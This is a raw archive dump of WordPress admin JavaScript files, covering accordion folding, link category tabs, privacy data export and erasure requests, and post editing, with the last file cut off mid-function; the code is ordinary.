the name is then empty. * * @alias wp.customize.Menus~displayNavMenuName * * @param {string} name * @return {string} */ function displayNavMenuName( name ) { name = name || ''; name = wp.sanitize.stripTagsAndEncodeText( name ); // Remove any potential tags from name. name = name.toString().trim(); return name || api.Menus.data.l10n.unnamed; } })( wp.customize, wp, jQuery ); js/accordion.js 0000644 00000005565 15233246127 0007477 0 ustar 00 /** * Accordion-folding functionality. * * Markup with the appropriate classes will be automatically hidden, * with one section opening at a time when its title is clicked. * Use the following markup structure for accordion behavior: * * <div class="accordion-container"> * <div class="accordion-section open"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="true" aria-controls="target-1"></button></h3> * <div class="accordion-section-content" id="target"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-2"></button></h3> * <div class="accordion-section-content" id="target-2"> * </div> * </div> * <div class="accordion-section"> * <h3 class="accordion-section-title"><button type="button" aria-expanded="false" aria-controls="target-3"></button></h3> * <div class="accordion-section-content" id="target-3"> * </div> * </div> * </div> * * Note that any appropriate tags may be used, as long as the above classes are present. * * @since 3.6.0 * @output wp-admin/js/accordion.js */ ( function( $ ){ $( function () { // Expand/Collapse accordion sections on click. $( '.accordion-container' ).on( 'click', '.accordion-section-title button', function() { accordionSwitch( $( this ) ); }); }); /** * Close the current accordion section and open a new one. * * @param {Object} el Title element of the accordion section to toggle. * @since 3.6.0 */ function accordionSwitch ( el ) { var section = el.closest( '.accordion-section' ), container = section.closest( '.accordion-container' ), siblings = container.find( '.open' ), siblingsToggleControl = siblings.find( '[aria-expanded]' ).first(), content = section.find( '.accordion-section-content' ); // This section has no content and cannot be expanded. if ( section.hasClass( 'cannot-expand' ) ) { return; } // Add a class to the container to let us know something is happening inside. // This helps in cases such as hiding a scrollbar while animations are executing. container.addClass( 'opening' ); if ( section.hasClass( 'open' ) ) { section.toggleClass( 'open' ); content.toggle( true ).slideToggle( 150 ); } else { siblingsToggleControl.attr( 'aria-expanded', 'false' ); siblings.removeClass( 'open' ); siblings.find( '.accordion-section-content' ).show().slideUp( 150 ); content.toggle( false ).slideToggle( 150 ); section.toggleClass( 'open' ); } // We have to wait for the animations to finish. setTimeout(function(){ container.removeClass( 'opening' ); }, 150); // If there's an element with an aria-expanded attribute, assume it's a toggle control and toggle the aria-expanded value. if ( el ) { el.attr( 'aria-expanded', String( el.attr( 'aria-expanded' ) === 'false' ) ); } } })(jQuery); js/link.js 0000644 00000011411 15233246127 0006456 0 ustar 00 /** * @output wp-admin/js/link.js */ /* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */ jQuery( function($) { var newCat, noSyncChecks = false, syncChecks, catAddAfter; $('#link_name').trigger( 'focus' ); // Postboxes. postboxes.add_postbox_toggles('link'); /** * Adds event that opens a particular category tab. * * @ignore * * @return {boolean} Always returns false to prevent the default behavior. */ $('#category-tabs a').on( 'click keyup keydown', function( event ){ var t = $(this).attr('href'); if ( event.type === 'keydown' && event.key === ' ' ) { event.preventDefault(); } if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) { event.preventDefault(); $('#category-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' ); $(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' ); $(this).parent().addClass('tabs').siblings('li').removeClass('tabs'); $('.tabs-panel').hide(); $(t).show(); if ( '#categories-all' == t ) { deleteUserSetting('cats'); } else { setUserSetting('cats','pop'); } return false; } if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) { $(this).attr( 'tabindex', '-1' ); let next = $(this).parent('li').next(); let prev = $(this).parent('li').prev(); if ( next.length > 0 ) { next.find('a').removeAttr( 'tabindex'); next.find('a').trigger( 'focus' ); } else { prev.find('a').removeAttr( 'tabindex'); prev.find('a').trigger( 'focus' ); } } }); if ( getUserSetting('cats') ) $('#category-tabs a[href="#categories-pop"]').trigger( 'click' ); // Ajax Cat. newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } ); /** * After adding a new category, focus on the category add input field. * * @return {void} */ $('#link-category-add-submit').on( 'click', function() { newCat.focus(); } ); /** * Synchronize category checkboxes. * * This function makes sure that the checkboxes are synced between the all * categories tab and the most used categories tab. * * @since 2.5.0 * * @return {void} */ syncChecks = function() { if ( noSyncChecks ) return; noSyncChecks = true; var th = $(this), c = th.is(':checked'), id = th.val().toString(); $('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c ); noSyncChecks = false; }; /** * Adds event listeners to an added category. * * This is run on the addAfter event to make sure the correct event listeners * are bound to the DOM elements. * * @since 2.5.0 * * @param {string} r Raw XML response returned from the server after adding a * category. * @param {Object} s List manager configuration object; settings for the Ajax * request. * * @return {void} */ catAddAfter = function( r, s ) { $(s.what + ' response_data', r).each( function() { var t = $($(this).text()); t.find( 'label' ).each( function() { var th = $(this), val = th.find('input').val(), id = th.find('input')[0].id, name = th.text().trim(), o; $('#' + id).on( 'change', syncChecks ); o = $( '<option value="' + parseInt( val, 10 ) + '"></option>' ).text( name ); } ); } ); }; /* * Instantiates the list manager. * * @see js/_enqueues/lib/lists.js */ $('#categorychecklist').wpList( { // CSS class name for alternate styling. alt: '', // The type of list. what: 'link-category', // ID of the element the parsed Ajax response will be stored in. response: 'category-ajax-response', // Callback that's run after an item got added to the list. addAfter: catAddAfter } ); // All categories is the default tab, so we delete the user setting. $('a[href="#categories-all"]').on( 'click', function(){deleteUserSetting('cats');}); // Set a preference for the popular categories to cookies. $('a[href="#categories-pop"]').on( 'click', function(){setUserSetting('cats','pop');}); if ( 'pop' == getUserSetting('cats') ) $('a[href="#categories-pop"]').trigger( 'click' ); /** * Adds event handler that shows the interface controls to add a new category. * * @ignore * * @param {Event} event The event object. * @return {boolean} Always returns false to prevent regular link * functionality. */ $('#category-add-toggle').on( 'click', function() { $(this).parents('div:first').toggleClass( 'wp-hidden-children' ); $('#category-tabs a[href="#categories-all"]').trigger( 'click' ); $('#newcategory').trigger( 'focus' ); return false; } ); $('.categorychecklist :checkbox').on( 'change', syncChecks ).filter( ':checked' ).trigger( 'change' ); }); js/link.min.js 0000644 00000004417 15233246127 0007250 0 ustar 00 /*! This file is auto-generated */ jQuery(function(i){var e,r,t,a=!1;i("#link_name").trigger("focus"),postboxes.add_postbox_toggles("link"),i("#category-tabs a").on("click keyup keydown",function(e){var t=i(this).attr("href");if("keydown"===e.type&&" "===e.key&&e.preventDefault(),"keyup"===e.type&&" "===e.key||"keydown"===e.type&&"Enter"===e.key||"click"===e.type)return e.preventDefault(),i("#category-tabs a").removeAttr("aria-selected").attr("tabindex","-1"),i(this).attr("aria-selected","true").removeAttr("tabindex"),i(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),i(".tabs-panel").hide(),i(t).show(),"#categories-all"==t?deleteUserSetting("cats"):setUserSetting("cats","pop"),!1;"keyup"!==e.type||"ArrowRight"!==e.key&&"ArrowLeft"!==e.key||(i(this).attr("tabindex","-1"),t=i(this).parent("li").next(),e=i(this).parent("li").prev(),(0<t.length?(t.find("a").removeAttr("tabindex"),t):(e.find("a").removeAttr("tabindex"),e)).find("a").trigger("focus"))}),getUserSetting("cats")&&i('#category-tabs a[href="#categories-pop"]').trigger("click"),e=i("#newcat").one("focus",function(){i(this).val("").removeClass("form-input-tip")}),i("#link-category-add-submit").on("click",function(){e.focus()}),r=function(){var e,t;a||(a=!0,e=(t=i(this)).is(":checked"),t=t.val().toString(),i("#in-link-category-"+t+", #in-popular-link_category-"+t).prop("checked",e),a=!1)},t=function(e,t){i(t.what+" response_data",e).each(function(){i(i(this).text()).find("label").each(function(){var e=i(this),t=e.find("input").val(),a=e.find("input")[0].id,e=e.text().trim();i("#"+a).on("change",r),i('<option value="'+parseInt(t,10)+'"></option>').text(e)})})},i("#categorychecklist").wpList({alt:"",what:"link-category",response:"category-ajax-response",addAfter:t}),i('a[href="#categories-all"]').on("click",function(){deleteUserSetting("cats")}),i('a[href="#categories-pop"]').on("click",function(){setUserSetting("cats","pop")}),"pop"==getUserSetting("cats")&&i('a[href="#categories-pop"]').trigger("click"),i("#category-add-toggle").on("click",function(){return i(this).parents("div:first").toggleClass("wp-hidden-children"),i('#category-tabs a[href="#categories-all"]').trigger("click"),i("#newcategory").trigger("focus"),!1}),i(".categorychecklist :checkbox").on("change",r).filter(":checked").trigger("change")}); js/privacy-tools.min.js 0000644 00000012042 15233246127 0011117 0 ustar 00 /*! This file is auto-generated */ jQuery(function(v){var r,h=wp.i18n.__;function w(e,t){e.children().addClass("hidden"),e.children("."+t).removeClass("hidden")}function x(e){e.removeClass("has-request-results"),e.next().hasClass("request-results")&&e.next().remove()}function T(e,t,a,o){var s="",n="request-results";x(e),o.length&&(v.each(o,function(e,t){s=s+"<li>"+t+"</li>"}),s="<ul>"+s+"</ul>"),e.addClass("has-request-results"),e.hasClass("status-request-confirmed")&&(n+=" status-request-confirmed"),e.hasClass("status-request-failed")&&(n+=" status-request-failed"),e.after(function(){return'<tr class="'+n+'"><th colspan="5"><div class="notice inline notice-alt '+t+'" role="alert"><p>'+a+"</p>"+s+"</div></td></tr>"})}v(".export-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".export-personal-data"),r=t.parents("tr"),a=r.find(".export-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("exporters-count"),u=!!n.data("send-as-email");function p(e){var t=h("An error occurred while attempting to export personal data.");w(n,"export-personal-data-failed"),e&&T(r,"notice-error",t,[e]),setTimeout(function(){i.removeClass("processing")},500)}function m(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),m(0),w(n,"export-personal-data-processing"),function t(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-export-personal-data",exporter:o,id:c,page:s,security:d,sendAsEmail:u},method:"post"}).done(function(e){var a=e.data;e.success?a.done?(m(o),o<l?setTimeout(t(o+1,1)):setTimeout(function(){var e,t;e=a.url,t=h("This user’s personal data export link was sent."),void 0!==e&&(t=h("This user’s personal data export file was downloaded.")),w(n,"export-personal-data-success"),T(r,"notice-success",t,[]),void 0!==e?window.location=e:u||p(h("No personal data export file was generated.")),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(t(o,s+1)):setTimeout(function(){p(e.data)},500)}).fail(function(e,t,a){setTimeout(function(){p(a)},500)})}(1,1)}),v(".remove-personal-data-handle").on("click",function(e){var t=v(this),n=t.parents(".remove-personal-data"),r=t.parents("tr"),a=r.find(".erasure-progress"),i=t.parents(".row-actions"),c=n.data("request-id"),d=n.data("nonce"),l=n.data("erasers-count"),u=!1,p=!1,m=[];function f(){var e=h("An error occurred while attempting to find and erase personal data.");w(n,"remove-personal-data-failed"),T(r,"notice-error",e,[]),setTimeout(function(){i.removeClass("processing")},500)}function g(e){e=Math.round(100*(0<l?e/l:0)).toString()+"%";a.html(e)}e.preventDefault(),e.stopPropagation(),i.addClass("processing"),n.trigger("blur"),x(r),g(0),w(n,"remove-personal-data-processing"),function a(o,s){v.ajax({url:window.ajaxurl,data:{action:"wp-privacy-erase-personal-data",eraser:o,id:c,page:s,security:d},method:"post"}).done(function(e){var t=e.data;e.success?(t.items_removed&&(u=u||t.items_removed),t.items_retained&&(p=p||t.items_retained),t.messages&&(m=m.concat(t.messages)),t.done?(g(o),o<l?setTimeout(a(o+1,1)):setTimeout(function(){var e,t;e=h("No personal data was found for this user."),t="notice-success",w(n,"remove-personal-data-success"),!1===u?!1===p?e=h("No personal data was found for this user."):(e=h("Personal data was found for this user but was not erased."),t="notice-warning"):!1===p?e=h("All of the personal data found for this user was erased."):(e=h("Personal data was found for this user but some of the personal data found was not erased."),t="notice-warning"),T(r,t,e,m),setTimeout(function(){i.removeClass("processing")},500)},500)):setTimeout(a(o,s+1))):setTimeout(function(){f()},500)}).fail(function(){setTimeout(function(){f()},500)})}(1,1)}),v(document).on("click",function(e){var t,a,e=v(e.target),o=e.siblings(".success");if(clearTimeout(r),e.is("button.privacy-text-copy")&&(t=e.closest(".privacy-settings-accordion-panel")).length)try{var s=document.documentElement.scrollTop,n=document.body.scrollTop;window.getSelection().removeAllRanges(),a=document.createRange(),t.addClass("hide-privacy-policy-tutorial"),a.selectNodeContents(t[0]),window.getSelection().addRange(a),document.execCommand("copy"),t.removeClass("hide-privacy-policy-tutorial"),window.getSelection().removeAllRanges(),0<s&&s!==document.documentElement.scrollTop?document.documentElement.scrollTop=s:0<n&&n!==document.body.scrollTop&&(document.body.scrollTop=n),o.addClass("visible"),wp.a11y.speak(h("The suggested policy text has been copied to your clipboard.")),r=setTimeout(function(){o.removeClass("visible")},3e3)}catch(e){}}),v("body.options-privacy-php label[for=create-page]").on("click",function(e){e.preventDefault(),v("input#create-page").trigger("focus")}),v(".privacy-settings-accordion").on("click",".privacy-settings-accordion-trigger",function(){"true"===v(this).attr("aria-expanded")?(v(this).attr("aria-expanded","false"),v("#"+v(this).attr("aria-controls")).attr("hidden",!0)):(v(this).attr("aria-expanded","true"),v("#"+v(this).attr("aria-controls")).attr("hidden",!1))})}); js/post.min.js 0000644 00000045717 15233246127 0007310 0 ustar 00 /*! This file is auto-generated */ window.makeSlugeditClickable=window.editPermalink=function(){},window.wp=window.wp||{},function(s){var t=!1,a=wp.i18n.__;window.commentsBox={st:0,get:function(t,e){var i=this.st;return this.st+=e=e||20,this.total=t,s("#commentsdiv .spinner").addClass("is-active"),t={action:"get-comments",mode:"single",_ajax_nonce:s("#add_comment_nonce").val(),p:s("#post_ID").val(),start:i,number:e},s.post(ajaxurl,t,function(t){t=wpAjax.parseAjaxResponse(t),s("#commentsdiv .widefat").show(),s("#commentsdiv .spinner").removeClass("is-active"),"object"==typeof t&&t.responses[0]?(s("#the-comment-list").append(t.responses[0].data),theList=theExtraList=null,s("a[className*=':']").off(),commentsBox.st>commentsBox.total?s("#show-comments").hide():s("#show-comments").show().children("a").text(a("Show more comments"))):1==t?s("#show-comments").text(a("No more comments found.")):s("#the-comment-list").append('<tr><td colspan="2">'+wpAjax.broken+"</td></tr>")}),!1},load:function(t){this.st=jQuery("#the-comment-list tr.comment:visible").length,this.get(t)}},window.WPSetThumbnailHTML=function(t){s(".inside","#postimagediv").html(t)},window.WPSetThumbnailID=function(t){var e=s('input[value="_thumbnail_id"]',"#list-table");0<e.length&&s("#meta\\["+e.attr("id").match(/[0-9]+/)+"\\]\\[value\\]").text(t)},window.WPRemoveThumbnail=function(t){s.post(ajaxurl,{action:"set-post-thumbnail",post_id:s("#post_ID").val(),thumbnail_id:-1,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){"0"==t?alert(a("Could not set that as the thumbnail image. Try a different attachment.")):WPSetThumbnailHTML(t)})},s(document).on("heartbeat-send.refresh-lock",function(t,e){var i=s("#active_post_lock").val(),a=s("#post_ID").val(),n={};a&&s("#post-lock-dialog").length&&(n.post_id=a,i&&(n.lock=i),e["wp-refresh-post-lock"]=n)}).on("heartbeat-tick.refresh-lock",function(t,e){var i,a;e["wp-refresh-post-lock"]&&((e=e["wp-refresh-post-lock"]).lock_error?(i=s("#post-lock-dialog")).length&&!i.is(":visible")&&(wp.autosave&&(s(document).one("heartbeat-tick",function(){wp.autosave.server.suspend(),i.removeClass("saving").addClass("saved"),s(window).off("beforeunload.edit-post")}),i.addClass("saving"),wp.autosave.server.triggerSave()),e.lock_error.avatar_src&&(a=s("<img />",{class:"avatar avatar-64 photo",width:64,height:64,alt:"",src:e.lock_error.avatar_src,srcset:e.lock_error.avatar_src_2x?e.lock_error.avatar_src_2x+" 2x":void 0}),i.find("div.post-locked-avatar").empty().append(a)),i.show().find(".currently-editing").text(e.lock_error.text),i.find(".wp-tab-first").trigger("focus")):e.new_lock&&s("#active_post_lock").val(e.new_lock))}).on("before-autosave.update-post-slug",function(){t=document.activeElement&&"title"===document.activeElement.id}).on("after-autosave.update-post-slug",function(){s("#edit-slug-box > *").length||t||s.post(ajaxurl,{action:"sample-permalink",post_id:s("#post_ID").val(),new_title:s("#title").val(),samplepermalinknonce:s("#samplepermalinknonce").val()},function(t){"-1"!=t&&s("#edit-slug-box").html(t)})})}(jQuery),function(a){var n,t;function i(){n=!1,window.clearTimeout(t),t=window.setTimeout(function(){n=!0},3e5)}a(function(){i()}).on("heartbeat-send.wp-refresh-nonces",function(t,e){var i=a("#wp-auth-check-wrap");(n||i.length&&!i.hasClass("hidden"))&&(i=a("#post_ID").val())&&a("#_wpnonce").val()&&(e["wp-refresh-post-nonces"]={post_id:i})}).on("heartbeat-tick.wp-refresh-nonces",function(t,e){e=e["wp-refresh-post-nonces"];e&&(i(),e.replace&&a.each(e.replace,function(t,e){a("#"+t).val(e)}),e.heartbeatNonce)&&(window.heartbeatSettings.nonce=e.heartbeatNonce)})}(jQuery),jQuery(function(h){var d,e,i,a,n,s,o,l,r,t,c,p,u=h("#content"),v=h(document),f=h("#post_ID").val()||0,m=h("#submitpost"),w=!0,g=h("#post-visibility-select"),b=h("#timestampdiv"),k=h("#post-status-select"),y=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),_=new ClipboardJS(".copy-attachment-url.edit-media"),x=wp.i18n.__,C=wp.i18n._x;function D(t){c.hasClass("wp-editor-expand")||(r?o.theme.resizeTo(null,l+t.pageY):u.height(Math.max(50,l+t.pageY)),t.preventDefault())}function j(){var t;c.hasClass("wp-editor-expand")||(t=r?(o.focus(),((t=parseInt(h("#wp-content-editor-container .mce-toolbar-grp").height(),10))<10||200<t)&&(t=30),parseInt(h("#content_ifr").css("height"),10)+t-28):(u.trigger("focus"),parseInt(u.css("height"),10)),v.off(".wp-editor-resize"),t&&50<t&&t<5e3&&setUserSetting("ed_size",t))}postboxes.add_postbox_toggles(pagenow),window.name="",h("#post-lock-dialog .notification-dialog").on("keydown",function(t){var e;9==t.which&&((e=h(t.target)).hasClass("wp-tab-first")&&t.shiftKey?(h(this).find(".wp-tab-last").trigger("focus"),t.preventDefault()):e.hasClass("wp-tab-last")&&!t.shiftKey&&(h(this).find(".wp-tab-first").trigger("focus"),t.preventDefault()))}).filter(":visible").find(".wp-tab-first").trigger("focus"),wp.heartbeat&&h("#post-lock-dialog").length&&wp.heartbeat.interval(10),i=m.find(":submit, a.submitdelete, #post-preview").on("click.edit-post",function(t){var e=h(this);e.hasClass("disabled")?t.preventDefault():e.hasClass("submitdelete")||e.is("#post-preview")||h("form#post").off("submit.edit-post").on("submit.edit-post",function(t){if(!t.isDefaultPrevented()){if(wp.autosave&&wp.autosave.server.suspend(),"undefined"!=typeof commentReply){if(!commentReply.discardCommentChanges())return!1;commentReply.close()}w=!1,h(window).off("beforeunload.edit-post"),i.addClass("disabled"),("publish"===e.attr("id")?m.find("#major-publishing-actions .spinner"):m.find("#minor-publishing .spinner")).addClass("is-active")}})}),h("#post-preview").on("click.post-preview",function(t){var e=h(this),i=h("form#post"),a=h("input#wp-preview"),n=e.attr("target")||"wp-preview",s=navigator.userAgent.toLowerCase();t.preventDefault(),e.hasClass("disabled")||(wp.autosave&&wp.autosave.server.tempBlockSave(),a.val("dopreview"),i.attr("target",n).trigger("submit").attr("target",""),-1!==s.indexOf("safari")&&-1===s.indexOf("chrome")&&i.attr("action",function(t,e){return e+"?t="+(new Date).getTime()}),a.val(""))}),h("#auto_draft").val()&&h("#title").on("blur",function(){var t;this.value&&!h("#edit-slug-box > *").length&&(h("form#post").one("submit",function(){t=!0}),window.setTimeout(function(){!t&&wp.autosave&&wp.autosave.server.triggerSave()},200))}),v.on("autosave-disable-buttons.edit-post",function(){i.addClass("disabled")}).on("autosave-enable-buttons.edit-post",function(){wp.heartbeat&&wp.heartbeat.hasConnectionError()||i.removeClass("disabled")}).on("before-autosave.edit-post",function(){h(".autosave-message").text(x("Saving Draft\u2026"))}).on("after-autosave.edit-post",function(t,e){h(".autosave-message").text(e.message),h(document.body).hasClass("post-new-php")&&h(".submitbox .submitdelete").show()}),h(window).on("beforeunload.edit-post",function(t){var e=window.tinymce&&window.tinymce.get("content"),i=!1;if(wp.autosave?i=wp.autosave.server.postChanged():e&&(i=!e.isHidden()&&e.isDirty()),i)return t.preventDefault(),x("The changes you made will be lost if you navigate away from this page.")}).on("pagehide.edit-post",function(t){if(w&&(!t.target||"#document"==t.target.nodeName)){var t=h("#post_ID").val(),e=h("#active_post_lock").val();if(t&&e){t={action:"wp-remove-post-lock",_wpnonce:h("#_wpnonce").val(),post_ID:t,active_post_lock:e};if(window.FormData&&window.navigator.sendBeacon){var i=new window.FormData;if(h.each(t,function(t,e){i.append(t,e)}),window.navigator.sendBeacon(ajaxurl,i))return}h.post({async:!1,data:t,url:ajaxurl})}}}),h("#tagsdiv-post_tag").length?window.tagBox&&window.tagBox.init():h(".meta-box-sortables").children("div.postbox").each(function(){if(0===this.id.indexOf("tagsdiv-"))return window.tagBox&&window.tagBox.init(),!1}),h(".categorydiv").each(function(){var t,a,i,e=h(this).attr("id").split("-");e.shift(),a=e.join("-"),i="category"==a?"cats":a+"_tab",h("a","#"+a+"-tabs").on("click keyup keydown",function(t){var e=h(this).attr("href");"keydown"===t.type&&" "===t.key&&t.preventDefault(),("keyup"===t.type&&" "===t.key||"keydown"===t.type&&"Enter"===t.key||"click"===t.type)&&(t.preventDefault(),h("#"+a+"-tabs a").removeAttr("aria-selected").attr("tabindex","-1"),h(this).attr("aria-selected","true").removeAttr("tabindex"),h(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),h("#"+a+"-tabs").siblings(".tabs-panel").hide(),h(e).show(),"#"+a+"-all"==e?deleteUserSetting(i):setUserSetting(i,"pop")),"keyup"!==t.type||"ArrowRight"!==t.key&&"ArrowLeft"!==t.key||(h(this).attr("tabindex","-1"),e=h(this).parent("li").next(),t=h(this).parent("li").prev(),(0<e.length?(e.find("a").removeAttr("tabindex"),e):(t.find("a").removeAttr("tabindex"),t)).find("a").trigger("focus"))}),getUserSetting(i)&&h('a[href="#'+a+'-pop"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).one("focus",function(){h(this).val("").removeClass("form-input-tip")}),h("#new"+a).on("keypress",function(t){13===t.keyCode&&(t.preventDefault(),h("#"+a+"-add-submit").trigger("click"))}),h("#"+a+"-add-submit").on("click",function(){h("#new"+a).trigger("focus")}),e=function(t){return!!h("#new"+a).val()&&(t.data+="&"+h(":checked","#"+a+"checklist").serialize(),h("#"+a+"-add-submit").prop("disabled",!0),t)},t=function(t,e){var i=h("#new"+a+"_parent");h("#"+a+"-add-submit").prop("disabled",!1),"undefined"!=e.parsed.responses[0]&&(e=e.parsed.responses[0].supplemental.newcat_parent)&&(i.before(e),i.remove())},h("#"+a+"checklist").wpList({alt:"",response:a+"-ajax-response",addBefore:e,addAfter:t}),h("#"+a+"-add-toggle").on("click",function(t){t.preventDefault(),h("#"+a+"-adder").toggleClass("wp-hidden-children"),h('a[href="#'+a+'-all"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).trigger("focus")}),h("#"+a+"checklist, #"+a+"checklist-pop").on("click",'li.popular-category > label input[type="checkbox"]',function(){var t=h(this),e=t.is(":checked"),i=t.val();i&&t.parents("#taxonomy-"+a).length&&(h("input#in-"+a+"-"+i+', input[id^="in-'+a+"-"+i+'-"]').prop("checked",e),h("input#in-popular-"+a+"-"+i).prop("checked",e))})}),h("#postcustom").length&&h("#the-list").wpList({addBefore:function(t){return t.data+="&post_id="+h("#post_ID").val(),t},addAfter:function(){h("table#list-table").show()}}),h("#submitdiv").length&&(d=h("#timestamp").html(),e=h("#post-visibility-display").html(),a=function(){"public"!=g.find("input:radio:checked").val()?(h("#sticky").prop("checked",!1),h("#sticky-span").hide()):h("#sticky-span").show(),"password"!=g.find("input:radio:checked").val()?h("#password-span").hide():h("#password-span").show()},n=function(){if(b.length){var t,e=h("#post_status"),i=h('option[value="publish"]',e),a=h("#aa").val(),n=h("#mm").val(),s=h("#jj").val(),o=h("#hh").val(),l=h("#mn").val(),r=new Date(a,n-1,s,o,l),c=new Date(h("#hidden_aa").val(),h("#hidden_mm").val()-1,h("#hidden_jj").val(),h("#hidden_hh").val(),h("#hidden_mn").val()),p=new Date(h("#cur_aa").val(),h("#cur_mm").val()-1,h("#cur_jj").val(),h("#cur_hh").val(),h("#cur_mn").val());if(r.getFullYear()!=a||1+r.getMonth()!=n||r.getDate()!=s||r.getMinutes()!=l)return b.find(".timestamp-wrap").addClass("form-invalid"),!1;b.find(".timestamp-wrap").removeClass("form-invalid"),p<r?(t=x("Schedule for:"),h("#publish").val(C("Schedule","post action/button label"))):r<=p&&"publish"!=h("#original_post_status").val()?(t=x("Publish on:"),h("#publish").val(x("Publish"))):(t=x("Published on:"),h("#publish").val(x("Update"))),c.toUTCString()==r.toUTCString()?h("#timestamp").html(d):h("#timestamp").html("\n"+t+" <b>"+x("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",h('option[value="'+n+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(s,10)).replace("%3$s",a).replace("%4$s",("00"+o).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),"private"==g.find("input:radio:checked").val()?(h("#publish").val(x("Update")),0===i.length?e.append('<option value="publish">'+x("Privately Published")+"</option>"):i.html(x("Privately Published")),h('option[value="publish"]',e).prop("selected",!0),h("#misc-publishing-actions .edit-post-status").hide()):("future"==h("#original_post_status").val()||"draft"==h("#original_post_status").val()?i.length&&(i.remove(),e.val(h("#hidden_post_status").val())):i.html(x("Published")),e.is(":hidden")&&h("#misc-publishing-actions .edit-post-status").show()),h("#post-status-display").text(wp.sanitize.stripTagsAndEncodeText(h("option:selected",e).text())),"private"==h("option:selected",e).val()||"publish"==h("option:selected",e).val()?h("#save-post").hide():(h("#save-post").show(),"pending"==h("option:selected",e).val()?h("#save-post").show().val(x("Save as Pending")):h("#save-post").show().val(x("Save Draft")))}return!0},h("#visibility .edit-visibility").on("click",function(t){t.preventDefault(),g.is(":hidden")&&(a(),g.slideDown("fast",function(){g.find('input[type="radio"]').first().trigger("focus")}),h(this).hide())}),g.find(".cancel-post-visibility").on("click",function(t){g.slideUp("fast"),h("#visibility-radio-"+h("#hidden-post-visibility").val()).prop("checked",!0),h("#post_password").val(h("#hidden-post-password").val()),h("#sticky").prop("checked",h("#hidden-post-sticky").prop("checked")),h("#post-visibility-display").html(e),h("#visibility .edit-visibility").show().trigger("focus"),n(),t.preventDefault()}),g.find(".save-post-visibility").on("click",function(t){var e="",i=g.find("input:radio:checked").val();switch(g.slideUp("fast"),h("#visibility .edit-visibility").show().trigger("focus"),n(),"public"!==i&&h("#sticky").prop("checked",!1),i){case"public":e=h("#sticky").prop("checked")?x("Public, Sticky"):x("Public");break;case"private":e=x("Private");break;case"password":e=x("Password Protected")}h("#post-visibility-display").text(e),t.preventDefault()}),g.find("input:radio").on("change",function(){a()}),b.siblings("a.edit-timestamp").on("click",function(t){b.is(":hidden")&&(b.slideDown("fast",function(){h("input, select",b.find(".timestamp-wrap")).first().trigger("focus")}),h(this).hide()),t.preventDefault()}),b.find(".cancel-timestamp").on("click",function(t){b.slideUp("fast").siblings("a.edit-timestamp").show().trigger("focus"),h("#mm").val(h("#hidden_mm").val()),h("#jj").val(h("#hidden_jj").val()),h("#aa").val(h("#hidden_aa").val()),h("#hh").val(h("#hidden_hh").val()),h("#mn").val(h("#hidden_mn").val()),n(),t.preventDefault()}),b.find(".save-timestamp").on("click",function(t){n()&&(b.slideUp("fast"),b.siblings("a.edit-timestamp").show().trigger("focus")),t.preventDefault()}),h("#post").on("submit",function(t){n()||(t.preventDefault(),b.show(),wp.autosave&&wp.autosave.enableButtons(),h("#publishing-action .spinner").removeClass("is-active"))}),k.siblings("a.edit-post-status").on("click",function(t){k.is(":hidden")&&(k.slideDown("fast",function(){k.find("select").trigger("focus")}),h(this).hide()),t.preventDefault()}),k.find(".save-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),n(),t.preventDefault()}),k.find(".cancel-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),h("#post_status").val(h("#hidden_post_status").val()),n(),t.preventDefault()})),h("#titlediv").on("click",".edit-slug",function(){var t,e,a,i,n=0,s=h("#post_name"),o=s.val(),l=h("#sample-permalink"),r=l.html(),c=h("#sample-permalink a").html(),p=h("#edit-slug-buttons"),d=p.html(),u=h("#editable-post-name-full");for(u.find("img").replaceWith(function(){return this.alt}),u=u.html(),l.html(c),a=h("#editable-post-name"),i=a.html(),p.html('<button type="button" class="save button button-compact">'+x("OK")+'</button> <button type="button" class="cancel button-link">'+x("Cancel")+"</button>"),p.children(".save").on("click",function(){var i=a.children("input").val();i==h("#editable-post-name-full").text()?p.children(".cancel").trigger("click"):h.post(ajaxurl,{action:"sample-permalink",post_id:f,new_slug:i,new_title:h("#title").val(),samplepermalinknonce:h("#samplepermalinknonce").val()},function(t){var e=h("#edit-slug-box");e.html(t),e.hasClass("hidden")&&e.fadeIn("fast",function(){e.removeClass("hidden")}),p.html(d),l.html(r),s.val(i),h(".edit-slug").trigger("focus"),wp.a11y.speak(x("Permalink saved"))})}),p.children(".cancel").on("click",function(){h("#view-post-btn").show(),a.html(i),p.html(d),l.html(r),s.val(o),h(".edit-slug").trigger("focus")}),t=0;t<u.length;++t)"%"==u.charAt(t)&&n++;c=n>u.length/4?"":u,e=x("URL Slug"),a.html('<label for="new-post-slug" class="screen-reader-text">'+e+'</label><input type="text" id="new-post-slug" value="'+c+'" autocomplete="off" spellcheck="false" />').children("input").on("keydown",function(t){var 